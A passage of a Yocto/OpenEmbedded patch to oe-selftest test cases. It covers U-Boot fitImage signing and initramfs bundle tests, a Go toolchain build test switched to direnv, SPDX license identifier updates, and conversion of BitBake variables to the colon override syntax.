+SPL_BINARY = "MLO"
+# Enable creation and signing of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+SPL_SIGN_ENABLE = "1"
+SPL_SIGN_KEYNAME = "spl-cascaded-oe-selftest"
+SPL_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_DTB_BINARY = "u-boot.dtb"
+UBOOT_ENTRYPOINT = "0x80000000"
+UBOOT_LOADADDRESS = "0x80000000"
+UBOOT_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+UBOOT_MKIMAGE_SIGN_ARGS = "-c 'a smart cascaded Kernel comment'"
+UBOOT_DTB_LOADADDRESS = "0x82000000"
+UBOOT_ARCH = "arm"
+SPL_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+SPL_MKIMAGE_SIGN_ARGS = "-c 'a smart cascaded U-Boot comment'"
+UBOOT_EXTLINUX = "0"
+UBOOT_FIT_GENERATE_KEYS = "1"
+UBOOT_FIT_HASH_ALG = "sha256"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage test-mkimage-wrapper "
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = "core-image-minimal"
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ req_itspaths = [
+ ['/', 'images', 'uboot'],
+ ['/', 'images', 'uboot', 'signature'],
+ ['/', 'images', 'fdt'],
+ ['/', 'images', 'fdt', 'signature'],
+ ]
+
+ itspath = []
+ itspaths = []
+ linect = 0
+ sigs = {}
+ with open(fitimage_its_path) as its_file:
+ linect += 1
+ for line in its_file:
+ line = line.strip()
+ if line.endswith('};'):
+ itspath.pop()
+ elif line.endswith('{'):
+ itspath.append(line[:-1].strip())
+ itspaths.append(itspath[:])
+ elif itspath and itspath[-1] == 'signature':
+ itsdotpath = '.'.join(itspath)
+ if not itsdotpath in sigs:
+ sigs[itsdotpath] = {}
+ if not '=' in line or not line.endswith(';'):
+ self.fail('Unexpected formatting in %s sigs section line %d:%s' % (fitimage_its_path, linect, line))
+ key, value = line.split('=', 1)
+ sigs[itsdotpath][key.rstrip()] = value.lstrip().rstrip(';')
+
+ for reqpath in req_itspaths:
+ if not reqpath in itspaths:
+ self.fail('Missing section in its file: %s' % reqpath)
+
+ reqsigvalues_image = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"spl-cascaded-oe-selftest"',
+ }
+
+ for itspath, values in sigs.items():
+ reqsigvalues = reqsigvalues_image
+ for reqkey, reqvalue in reqsigvalues.items():
+ value = values.get(reqkey, None)
+ if value is None:
+ self.fail('Missing key "%s" in its file signature section %s' % (reqkey, itspath))
+ self.assertEqual(value, reqvalue)
+
+ # Dump the image to see if it really got signed
+ bitbake("u-boot-tools-native -c addto_recipe_sysroot")
+ result = runCmd('bitbake -e u-boot-tools-native | grep ^RECIPE_SYSROOT_NATIVE=')
+ recipe_sysroot_native = result.output.split('=')[1].strip('"')
+ dumpimage_path = os.path.join(recipe_sysroot_native, 'usr', 'bin', 'dumpimage')
+ result = runCmd('%s -l %s' % (dumpimage_path, fitimage_path))
+ in_signed = None
+ signed_sections = {}
+ for line in result.output.splitlines():
+ if line.startswith((' Image')):
+ in_signed = re.search('\((.*)\)', line).groups()[0]
+ elif re.match(' \w', line):
+ in_signed = None
+ elif in_signed:
+ if not in_signed in signed_sections:
+ signed_sections[in_signed] = {}
+ key, value = line.split(':', 1)
+ signed_sections[in_signed][key.strip()] = value.strip()
+ self.assertIn('uboot', signed_sections)
+ self.assertIn('fdt', signed_sections)
+ for signed_section, values in signed_sections.items():
+ value = values.get('Sign algo', None)
+ self.assertEqual(value, 'sha256,rsa2048:spl-cascaded-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ value = values.get('Sign value', None)
+ self.assertEqual(len(value), 512, 'Signature value for section %s not expected length' % signed_section)
+
+ # Check for SPL_MKIMAGE_SIGN_ARGS
+ result = runCmd('bitbake -e virtual/kernel | grep ^T=')
+ tempdir = result.output.split('=', 1)[1].strip().strip('')
+ result = runCmd('grep "a smart cascaded U-Boot comment" %s/run.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'SPL_MKIMAGE_SIGN_ARGS value did not get used')
+
+ # Check for evidence of test-mkimage-wrapper class
+ result = runCmd('grep "### uboot-mkimage wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE did not work')
+ result = runCmd('grep "### uboot-mkimage signing wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN did not work')
+
+
+
+ def test_initramfs_bundle(self):
+ """
+ Summary: Verifies the content of the initramfs bundle node in the FIT Image Tree Source (its)
+ The FIT settings are set by the test case.
+ The machine used is beaglebone-yocto.
+ Expected: 1. The ITS is generated with initramfs bundle support
+ 2. All the fields in the kernel node are as expected (matching the
+ conf settings)
+ 3. The kernel is included in all the available configurations and
+ its hash is included in the configuration signature
+
+ Product: oe-core
+ Author: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
+ """
+
+ config = """
+DISTRO="poky"
+MACHINE = "beaglebone-yocto"
+INITRAMFS_IMAGE_BUNDLE = "1"
+INITRAMFS_IMAGE = "core-image-minimal-initramfs"
+INITRAMFS_SCRIPTS = ""
+UBOOT_MACHINE = "am335x_evm_defconfig"
+KERNEL_CLASSES = " kernel-fitimage "
+KERNEL_IMAGETYPES = "fitImage"
+UBOOT_SIGN_ENABLE = "1"
+UBOOT_SIGN_KEYNAME = "beaglebonekey"
+UBOOT_SIGN_KEYDIR ?= "${DEPLOY_DIR_IMAGE}"
+UBOOT_DTB_BINARY = "u-boot.dtb"
+UBOOT_ENTRYPOINT = "0x80000000"
+UBOOT_LOADADDRESS = "0x80000000"
+UBOOT_DTB_LOADADDRESS = "0x82000000"
+UBOOT_ARCH = "arm"
+UBOOT_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+UBOOT_EXTLINUX = "0"
+FIT_GENERATE_KEYS = "1"
+KERNEL_IMAGETYPE_REPLACEMENT = "zImage"
+FIT_KERNEL_COMP_ALG = "none"
+FIT_HASH_ALG = "sha256"
+"""
+ self.write_config(config)
+
+ # fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = get_bb_var('INITRAMFS_IMAGE')
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "fitImage-its-%s-%s-%s" % (image_type, machine, machine))
+ fitimage_path = os.path.join(deploy_dir_image,"fitImage")
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ kernel_load = str(get_bb_var('UBOOT_LOADADDRESS'))
+ kernel_entry = str(get_bb_var('UBOOT_ENTRYPOINT'))
+ kernel_compression = str(get_bb_var('FIT_KERNEL_COMP_ALG'))
+ uboot_arch = str(get_bb_var('UBOOT_ARCH'))
+ fit_hash_alg = str(get_bb_var('FIT_HASH_ALG'))
+
+ its_file = open(fitimage_its_path)
+
+ its_lines = [line.strip() for line in its_file.readlines()]
+
+ exp_node_lines = [
+ 'kernel-1 {',
+ 'description = "Linux kernel";',
+ 'data = /incbin/("linux.bin");',
+ 'type = "kernel";',
+ 'arch = "' + uboot_arch + '";',
+ 'os = "linux";',
+ 'compression = "' + kernel_compression + '";',
+ 'load = <' + kernel_load + '>;',
+ 'entry = <' + kernel_entry + '>;',
+ 'hash-1 {',
+ 'algo = "' + fit_hash_alg +'";',
+ '};',
+ '};'
+ ]
+
+ node_str = exp_node_lines[0]
+
+ test_passed = False
+
+ print ("checking kernel node\n")
+
+ if node_str in its_lines:
+ node_start_idx = its_lines.index(node_str)
+ node = its_lines[node_start_idx:(node_start_idx + len(exp_node_lines))]
+ if node == exp_node_lines:
+ print("kernel node verified")
+ else:
+ self.assertTrue(test_passed == True,"kernel node does not match expectation")
+
+ rx_configs = re.compile("^conf-.*")
+ its_configs = list(filter(rx_configs.match, its_lines))
+
+ for cfg_str in its_configs:
+ cfg_start_idx = its_lines.index(cfg_str)
+ line_idx = cfg_start_idx + 2
+ node_end = False
+ while node_end == False:
+ if its_lines[line_idx] == "};" and its_lines[line_idx-1] == "};" :
+ node_end = True
+ line_idx = line_idx + 1
+
+ node = its_lines[cfg_start_idx:line_idx]
+ print("checking configuration " + cfg_str.rstrip(" {"))
+ rx_desc_line = re.compile("^description.*1 Linux kernel.*")
+ if len(list(filter(rx_desc_line.match, node))) != 1:
+ self.assertTrue(test_passed == True,"kernel keyword not found in the description line")
+ break
+ else:
+ print("kernel keyword found in the description line")
+
+ if 'kernel = "kernel-1";' not in node:
+ self.assertTrue(test_passed == True,"kernel line not found")
+ break
+ else:
+ print("kernel line found")
+
+ rx_sign_line = re.compile("^sign-images.*kernel.*")
+ if len(list(filter(rx_sign_line.match, node))) != 1:
+ self.assertTrue(test_passed == True,"kernel hash not signed")
+ break
+ else:
+ print("kernel hash signed")
+
+ test_passed = True
+ self.assertTrue(test_passed == True,"Initramfs bundle test success")
diff --git a/meta/lib/oeqa/selftest/cases/glibc.py b/meta/lib/oeqa/selftest/cases/glibc.py
index c687f6ef93..6f96281ea5 100644
--- a/meta/lib/oeqa/selftest/cases/glibc.py
+++ b/meta/lib/oeqa/selftest/cases/glibc.py
@@ -24,7 +24,7 @@ class GlibcSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
features.append('TOOLCHAIN_TEST_HOST_USER = "root"')
features.append('TOOLCHAIN_TEST_HOST_PORT = "22"')
# force single threaded test execution
- features.append('EGLIBCPARALLELISM_task-check_pn-glibc-testsuite = "PARALLELMFLAGS="-j1""')
+ features.append('EGLIBCPARALLELISM_task-check:pn-glibc-testsuite = "PARALLELMFLAGS="-j1""')
self.write_config("\n".join(features))
bitbake("glibc-testsuite -c check")
@@ -33,7 +33,7 @@ class GlibcSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
ptestsuite = "glibc-user" if ssh is None else "glibc"
self.ptest_section(ptestsuite)
- with open(os.path.join(builddir, "tests.sum"), "r") as f:
+ with open(os.path.join(builddir, "tests.sum"), "r", errors='replace') as f:
for test, result in parse_values(f):
self.ptest_result(ptestsuite, test, result)
diff --git a/meta/lib/oeqa/selftest/cases/gotoolchain.py b/meta/lib/oeqa/selftest/cases/gotoolchain.py
index 3119520f0d..c809d7c9b1 100644
--- a/meta/lib/oeqa/selftest/cases/gotoolchain.py
+++ b/meta/lib/oeqa/selftest/cases/gotoolchain.py
@@ -43,29 +43,34 @@ class oeGoToolchainSelfTest(OESelftestTestCase):
@classmethod
def tearDownClass(cls):
+ # Go creates file which are readonly
+ for dirpath, dirnames, filenames in os.walk(cls.tmpdir_SDKQA):
+ for filename in filenames + dirnames:
+ f = os.path.join(dirpath, filename)
+ if not os.path.islink(f):
+ os.chmod(f, 0o775)
shutil.rmtree(cls.tmpdir_SDKQA, ignore_errors=True)
super(oeGoToolchainSelfTest, cls).tearDownClass()
- def run_sdk_go_command(self, gocmd):
- cmd = "cd %s; " % self.tmpdir_SDKQA
+ def run_sdk_go_command(self, gocmd, proj, name):
+ cmd = "cd %s/src/%s/%s; " % (self.go_path, proj, name)
cmd = cmd + ". %s; " % self.env_SDK
cmd = cmd + "export GOPATH=%s; " % self.go_path
cmd = cmd + "${CROSS_COMPILE}go %s" % gocmd
return runCmd(cmd).status
def test_go_dep_build(self):
- proj = "github.com/golang"
- name = "dep"
- ver = "v0.3.1"
+ proj = "github.com/direnv"
+ name = "direnv"
+ ver = "v2.27.0"
archive = ".tar.gz"
url = "https://%s/%s/archive/%s%s" % (proj, name, ver, archive)
runCmd("cd %s; wget %s" % (self.tmpdir_SDKQA, url))
runCmd("cd %s; tar -xf %s" % (self.tmpdir_SDKQA, ver+archive))
runCmd("mkdir -p %s/src/%s" % (self.go_path, proj))
- runCmd("mv %s/dep-0.3.1 %s/src/%s/%s"
+ runCmd("mv %s/direnv-2.27.0 %s/src/%s/%s"
% (self.tmpdir_SDKQA, self.go_path, proj, name))
- retv = self.run_sdk_go_command('build %s/%s/cmd/dep'
- % (proj, name))
+ retv = self.run_sdk_go_command('build', proj, name)
self.assertEqual(retv, 0,
msg="Running go build failed for %s" % name)
diff --git a/meta/lib/oeqa/selftest/cases/image_typedep.py b/meta/lib/oeqa/selftest/cases/image_typedep.py
index 52e1080f13..5b182a8f94 100644
--- a/meta/lib/oeqa/selftest/cases/image_typedep.py
+++ b/meta/lib/oeqa/selftest/cases/image_typedep.py
@@ -9,7 +9,7 @@ from oeqa.utils.commands import bitbake
class ImageTypeDepTests(OESelftestTestCase):
- # Verify that when specifying a IMAGE_TYPEDEP_ of the form "foo.bar" that
+ # Verify that when specifying a IMAGE_TYPEDEP: of the form "foo.bar" that
# the conversion type bar gets added as a dep as well
def test_conversion_typedep_added(self):
@@ -22,7 +22,7 @@ LICENSE = "MIT"
IMAGE_FSTYPES = "testfstype"
IMAGE_TYPES_MASKED += "testfstype"
-IMAGE_TYPEDEP_testfstype = "tar.bz2"
+IMAGE_TYPEDEP:testfstype = "tar.bz2"
inherit image
diff --git a/meta/lib/oeqa/selftest/cases/imagefeatures.py b/meta/lib/oeqa/selftest/cases/imagefeatures.py
index 415e0315fc..18f37c6d7d 100644
--- a/meta/lib/oeqa/selftest/cases/imagefeatures.py
+++ b/meta/lib/oeqa/selftest/cases/imagefeatures.py
@@ -68,18 +68,6 @@ class ImageFeatures(OESelftestTestCase):
self.assertEqual(status, 0, 'ssh to user tester failed with %s' % output)
- def test_clutter_image_can_be_built(self):
- """
- Summary: Check if clutter image can be built
- Expected: 1. core-image-clutter can be built
- Product: oe-core
- Author: Ionut Chisanovici <ionutx.chisanovici@intel.com>
- AutomatedBy: Daniel Istrate <daniel.alexandrux.istrate@intel.com>
- """
-
- # Build a core-image-clutter
- bitbake('core-image-clutter')
-
def test_wayland_support_in_image(self):
"""
Summary: Check Wayland support in image
@@ -240,8 +228,8 @@ USERADD_GID_TABLES += "files/static-group"
def test_no_busybox_base_utils(self):
config = """
-# Enable x11
-DISTRO_FEATURES_append += "x11"
+# Enable wayland
+DISTRO_FEATURES:append = " pam opengl wayland"
# Switch to systemd
DISTRO_FEATURES += "systemd"
@@ -262,81 +250,7 @@ PNBLACKLIST[busybox] = "Don't build this"
"""
self.write_config(config)
- bitbake("--graphviz core-image-sato")
-
- def test_fit_image(self):
- """
- Summary: Check if FIT image and Image Tree Source (its) are built
- and the Image Tree Source has the correct fields.
- Expected: 1. fitImage and fitImage-its can be built
- 2. The type, load address, entrypoint address and
- default values of kernel and ramdisk are as expected
- in the Image Tree Source. Not all the fields are tested,
- only the key fields that wont vary between different
- architectures.
- Product: oe-core
- Author: Usama Arif <usama.arif@arm.com>
- """
- config = """
-# Enable creation of fitImage
-KERNEL_IMAGETYPE = "Image"
-KERNEL_IMAGETYPES += " fitImage "
-KERNEL_CLASSES = " kernel-fitimage "
-
-# RAM disk variables including load address and entrypoint for kernel and RAM disk
-IMAGE_FSTYPES += "cpio.gz"
-INITRAMFS_IMAGE = "core-image-minimal"
-UBOOT_RD_LOADADDRESS = "0x88000000"
-UBOOT_RD_ENTRYPOINT = "0x88000000"
-UBOOT_LOADADDRESS = "0x80080000"
-UBOOT_ENTRYPOINT = "0x80080000"
-"""
- self.write_config(config)
-
- # fitImage is created as part of linux recipe
- bitbake("virtual/kernel")
-
- image_type = "core-image-minimal"
- deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
- machine = get_bb_var('MACHINE')
- fitimage_its_path = os.path.join(deploy_dir_image,
- "fitImage-its-%s-%s-%s" % (image_type, machine, machine))
- fitimage_path = os.path.join(deploy_dir_image,
- "fitImage-%s-%s-%s" % (image_type, machine, machine))
-
- self.assertTrue(os.path.exists(fitimage_its_path),
- "%s image tree source doesn't exist" % (fitimage_its_path))
- self.assertTrue(os.path.exists(fitimage_path),
- "%s FIT image doesn't exist" % (fitimage_path))
-
- # Check that the type, load address, entrypoint address and default
- # values for kernel and ramdisk in Image Tree Source are as expected.
- # The order of fields in the below array is important. Not all the
- # fields are tested, only the key fields that wont vary between
- # different architectures.
- its_field_check = ['type = "kernel";',
- 'load = <0x80080000>;',
- 'entry = <0x80080000>;',
- 'type = "ramdisk";',
- 'load = <0x88000000>;',
- 'entry = <0x88000000>;',
- 'default = "conf@1";',
- 'kernel = "kernel@1";',
- 'ramdisk = "ramdisk@1";'
- ]
-
- with open(fitimage_its_path) as its_file:
- field_index = 0
- for line in its_file:
- if field_index == len(its_field_check):
- break
- if its_field_check[field_index] in line:
- field_index +=1
-
- if field_index != len(its_field_check): # if its equal, the test passed
- self.assertTrue(field_index == len(its_field_check),
- "Fields in Image Tree Source File %s did not match, error in finding %s"
- % (fitimage_its_path, its_field_check[field_index]))
+ bitbake("--graphviz core-image-weston")
def test_image_gen_debugfs(self):
"""
diff --git a/meta/lib/oeqa/selftest/cases/incompatible_lic.py b/meta/lib/oeqa/selftest/cases/incompatible_lic.py
index 2a6382a1a8..fd3b3f409e 100644
--- a/meta/lib/oeqa/selftest/cases/incompatible_lic.py
+++ b/meta/lib/oeqa/selftest/cases/incompatible_lic.py
@@ -15,66 +15,66 @@ class IncompatibleLicenseTests(OESelftestTestCase):
# Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
# cannot be built when INCOMPATIBLE_LICENSE contains this SPDX license
def test_incompatible_spdx_license(self):
- self.lic_test('incompatible-license', 'GPL-3.0', 'GPL-3.0')
+ self.lic_test('incompatible-license', 'GPL-3.0-only', 'GPL-3.0-only')
# Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
# cannot be built when INCOMPATIBLE_LICENSE contains an alias (in
# SPDXLICENSEMAP) of this SPDX license
def test_incompatible_alias_spdx_license(self):
- self.lic_test('incompatible-license', 'GPL-3.0', 'GPLv3')
+ self.lic_test('incompatible-license', 'GPL-3.0-only', 'GPLv3')
# Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
# cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded license
# matching this SPDX license
def test_incompatible_spdx_license_wildcard(self):
- self.lic_test('incompatible-license', 'GPL-3.0', '*GPL-3.0')
+ self.lic_test('incompatible-license', 'GPL-3.0-only', '*GPL-3.0-only')
# Verify that a package with an SPDX license (from AVAILABLE_LICENSES)
# cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded alias
# license matching this SPDX license
def test_incompatible_alias_spdx_license_wildcard(self):
- self.lic_test('incompatible-license', 'GPL-3.0', '*GPLv3')
+ self.lic_test('incompatible-license', 'GPL-3.0-only', '*GPLv3')
# Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
# license cannot be built when INCOMPATIBLE_LICENSE contains this SPDX
# license
def test_incompatible_spdx_license_alias(self):
- self.lic_test('incompatible-license-alias', 'GPL-3.0', 'GPL-3.0')
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', 'GPL-3.0-only')
# Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
# license cannot be built when INCOMPATIBLE_LICENSE contains this alias
def test_incompatible_alias_spdx_license_alias(self):
- self.lic_test('incompatible-license-alias', 'GPL-3.0', 'GPLv3')
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', 'GPLv3')
# Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
# license cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded
# license matching this SPDX license
def test_incompatible_spdx_license_alias_wildcard(self):
- self.lic_test('incompatible-license-alias', 'GPL-3.0', '*GPL-3.0')
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', '*GPL-3.0')
# Verify that a package with an alias (from SPDXLICENSEMAP) to an SPDX
# license cannot be built when INCOMPATIBLE_LICENSE contains a wildcarded
# alias license matching the SPDX license
def test_incompatible_alias_spdx_license_alias_wildcard(self):
- self.lic_test('incompatible-license-alias', 'GPL-3.0', '*GPLv3')
+ self.lic_test('incompatible-license-alias', 'GPL-3.0-only', '*GPLv3')
# Verify that a package with multiple SPDX licenses (from
# AVAILABLE_LICENSES) cannot be built when INCOMPATIBLE_LICENSE contains
# some of them
def test_incompatible_spdx_licenses(self):
- self.lic_test('incompatible-licenses', 'GPL-3.0 LGPL-3.0', 'GPL-3.0 LGPL-3.0')
+ self.lic_test('incompatible-licenses', 'GPL-3.0-only LGPL-3.0-only', 'GPL-3.0-only LGPL-3.0-only')
# Verify that a package with multiple SPDX licenses (from
# AVAILABLE_LICENSES) cannot be built when INCOMPATIBLE_LICENSE contains a
# wildcard to some of them
def test_incompatible_spdx_licenses_wildcard(self):
- self.lic_test('incompatible-licenses', 'GPL-3.0 LGPL-3.0', '*GPL-3.0')
+ self.lic_test('incompatible-licenses', 'GPL-3.0-only LGPL-3.0-only', '*GPL-3.0-only')
# Verify that a package with multiple SPDX licenses (from
# AVAILABLE_LICENSES) cannot be built when INCOMPATIBLE_LICENSE contains a
# wildcard matching all licenses
def test_incompatible_all_licenses_wildcard(self):
- self.lic_test('incompatible-licenses', 'GPL-2.0 GPL-3.0 LGPL-3.0', '*')
+ self.lic_test('incompatible-licenses', 'GPL-2.0-only GPL-3.0-only LGPL-3.0-only', '*')
# Verify that a package with a non-SPDX license (neither in
# AVAILABLE_LICENSES nor in SPDXLICENSEMAP) cannot be built when
@@ -85,51 +85,63 @@ class IncompatibleLicenseTests(OESelftestTestCase):
class IncompatibleLicensePerImageTests(OESelftestTestCase):
def default_config(self):
return """
-IMAGE_INSTALL_append = " bash"
-INCOMPATIBLE_LICENSE_pn-core-image-minimal = "GPL-3.0 LGPL-3.0"
+IMAGE_INSTALL:append = " bash"
+INCOMPATIBLE_LICENSE:pn-core-image-minimal = "GPL-3.0 LGPL-3.0"
"""
def test_bash_default(self):
self.write_config(self.default_config())
- error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash cannot be installed into the image because it has incompatible license(s): GPL-3.0+"
+ error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash cannot be installed into the image because it has incompatible license(s): GPL-3.0-or-later"
result = bitbake('core-image-minimal', ignore_status=True)
if error_msg not in result.output:
raise AssertionError(result.output)
def test_bash_and_license(self):
- self.write_config(self.default_config() + '\nLICENSE_append_pn-bash = " & SomeLicense"')
- error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash cannot be installed into the image because it has incompatible license(s): GPL-3.0+"
+ self.write_config(self.default_config() + '\nLICENSE:append:pn-bash = " & SomeLicense"')
+ error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash cannot be installed into the image because it has incompatible license(s): GPL-3.0-or-later"
result = bitbake('core-image-minimal', ignore_status=True)
if error_msg not in result.output:
raise AssertionError(result.output)
def test_bash_or_license(self):
- self.write_config(self.default_config() + '\nLICENSE_append_pn-bash = " | SomeLicense"')
+ self.write_config(self.default_config() + '\nLICENSE:append:pn-bash = " | SomeLicense"')
bitbake('core-image-minimal')
def test_bash_whitelist(self):
- self.write_config(self.default_config() + '\nWHITELIST_GPL-3.0_pn-core-image-minimal = "bash"')
+ self.write_config(self.default_config() + '\nWHITELIST_GPL-3.0:pn-core-image-minimal = "bash"')
bitbake('core-image-minimal')
class NoGPL3InImagesTests(OESelftestTestCase):
def test_core_image_minimal(self):
self.write_config("""
-INCOMPATIBLE_LICENSE_pn-core-image-minimal = "GPL-3.0 LGPL-3.0"
+INCOMPATIBLE_LICENSE:pn-core-image-minimal = "GPL-3.0 LGPL-3.0"
""")
bitbake('core-image-minimal')
- def test_core_image_full_cmdline(self):
+ def test_core_image_full_cmdline_weston(self):
self.write_config("""
-INHERIT += "testimage"\n
-INCOMPATIBLE_LICENSE_pn-core-image-full-cmdline = "GPL-3.0 LGPL-3.0"\n
-RDEPENDS_packagegroup-core-full-cmdline-utils_remove = "bash bc coreutils cpio ed findutils gawk grep mc mc-fish mc-helpers mc-helpers-perl sed tar time"\n
-RDEPENDS_packagegroup-core-full-cmdline-dev-utils_remove = "diffutils m4 make patch"\n
-RDEPENDS_packagegroup-core-full-cmdline-multiuser_remove = "gzip"\n
+INHERIT += "testimage"
+INCOMPATIBLE_LICENSE:pn-core-image-full-cmdline = "GPL-3.0 LGPL-3.0"
+INCOMPATIBLE_LICENSE:pn-core-image-weston = "GPL-3.0 LGPL-3.0"
+# Settings for full-cmdline
+RDEPENDS:packagegroup-core-full-cmdline-utils:remove = "bash bc coreutils cpio ed findutils gawk grep mc mc-fish mc-helpers mc-helpers-perl sed tar time"
+RDEPENDS:packagegroup-core-full-cmdline-dev-utils:remove = "diffutils m4 make patch"
+RDEPENDS:packagegroup-core-full-cmdline-multiuser:remove = "gzip"
+# Settings for weston
+# direct gpl3 dependencies
+RRECOMMENDS:packagegroup-base-vfat:remove = "dosfstools"
+PACKAGECONFIG:remove:pn-bluez5 = "readline"
+# dnf pulls in gpg which is gpl3; it also pulls in python3-rpm which pulls in rpm-build which pulls in bash
+# so install rpm but not dnf
+IMAGE_FEATURES:remove:pn-core-image-weston = "package-management"
+CORE_IMAGE_EXTRA_INSTALL:pn-core-image-weston += "rpm"
+# matchbox-terminal depends on vte, which is gpl3
+CORE_IMAGE_BASE_INSTALL:remove:pn-core-image-weston = "matchbox-terminal"
""")
- bitbake('core-image-full-cmdline')
- bitbake('-c testimage core-image-full-cmdline')
+ bitbake('core-image-full-cmdline core-image-weston')
+ bitbake('-c testimage core-image-full-cmdline core-image-weston')
diff --git a/meta/lib/oeqa/selftest/cases/kerneldevelopment.py b/meta/lib/oeqa/selftest/cases/kerneldevelopment.py
index a61876ee61..b1623a1885 100644
--- a/meta/lib/oeqa/selftest/cases/kerneldevelopment.py
+++ b/meta/lib/oeqa/selftest/cases/kerneldevelopment.py
@@ -58,7 +58,7 @@ class KernelDev(OESelftestTestCase):
recipe_append = os.path.join(self.recipeskernel_dir, 'linux-yocto_%.bbappend')
with open(recipe_append, 'w+') as fh:
fh.write('SRC_URI += "file://%s"\n' % patch_name)
- fh.write('FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"')
+ fh.write('FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"')
runCmd('bitbake virtual/kernel -c clean')
runCmd('bitbake virtual/kernel -c patch')
diff --git a/meta/lib/oeqa/selftest/cases/layerappend.py b/meta/lib/oeqa/selftest/cases/layerappend.py
index 05e9426fc6..dadc7c5d28 100644
--- a/meta/lib/oeqa/selftest/cases/layerappend.py
+++ b/meta/lib/oeqa/selftest/cases/layerappend.py
@@ -30,20 +30,20 @@ python do_build() {
addtask build
"""
append = """
-FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"
-SRC_URI_append = " file://appendtest.txt"
+SRC_URI:append = " file://appendtest.txt"
-sysroot_stage_all_append() {
+sysroot_stage_all:append() {
install -m 644 ${WORKDIR}/appendtest.txt ${SYSROOT_DESTDIR}/
}
"""
append2 = """
-FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"
-SRC_URI_append = " file://appendtest.txt"
+SRC_URI:append = " file://appendtest.txt"
"""
layerappend = ''
diff --git a/meta/lib/oeqa/selftest/cases/lic_checksum.py b/meta/lib/oeqa/selftest/cases/lic_checksum.py
index bae935d697..91021ac335 100644
--- a/meta/lib/oeqa/selftest/cases/lic_checksum.py
+++ b/meta/lib/oeqa/selftest/cases/lic_checksum.py
@@ -21,7 +21,7 @@ class LicenseTests(OESelftestTestCase):
os.close(lic_file)
self.track_for_cleanup(lic_path)
- self.write_config("INHERIT_remove = \"report-error\"")
+ self.write_config("INHERIT:remove = \"report-error\"")
self.write_recipeinc('emptytest', """
INHIBIT_DEFAULT_DEPS = "1"
diff --git a/meta/lib/oeqa/selftest/cases/multiconfig.py b/meta/lib/oeqa/selftest/cases/multiconfig.py
index 39b92f2439..baae9b456f 100644
--- a/meta/lib/oeqa/selftest/cases/multiconfig.py
+++ b/meta/lib/oeqa/selftest/cases/multiconfig.py
@@ -17,7 +17,7 @@ class MultiConfig(OESelftestTestCase):
"""
config = """
-IMAGE_INSTALL_append_pn-core-image-full-cmdline = " multiconfig-image-packager-tiny multiconfig-image-packager-musl"
+IMAGE_INSTALL:append:pn-core-image-full-cmdline = " multiconfig-image-packager-tiny multiconfig-image-packager-musl"
BBMULTICONFIG = "tiny musl"
"""
self.write_config(config)
@@ -52,7 +52,7 @@ TMPDIR = "${TOPDIR}/tmp-mc-tiny"
self.write_config(config)
testconfig = textwrap.dedent('''\
- MCTESTVAR_append = "1"
